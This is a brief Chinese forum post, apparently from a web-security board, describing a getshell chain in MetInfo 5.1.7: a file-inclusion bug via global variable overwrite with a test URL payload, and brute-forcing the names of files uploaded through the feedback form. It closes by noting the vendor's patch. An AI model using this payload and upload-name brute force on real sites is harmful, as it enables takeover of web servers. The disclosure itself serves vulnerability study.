metinfo 5.1.7 getshell

2013-07-23 17:16:12 19 4996 1
1:代码分析

about/index.php
$filpy = basename(dirname(__FILE__));

$fmodule=1;

 require_once '../include/module.php';

require_once $module;
结合metinfo的全局变量覆盖机制 可以包含文件  

测试:http://w/coder/metinfo/about/?module=../robots.txt&fmodule=7



2:getshell

找个可以上传个地方

feedback\uploadfile_save.php前台上传文件的地方   文件路径可以爆破之 (100 -999) 随机 简单爆破
  $rnd = rand(100, 999);   $name = date('U') + $rnd;
官网demo 测试



3:漏洞修复
   官方  7/17 已 修复  include\module.php  
  83行  $module='';



ps:漏洞板块木权限  管理转移下吧  thx
类别 Web安全

关于作者

Yaseng7篇文章33篇回复

Yaseng
19

评论19次

要评论？请先  登录  或  注册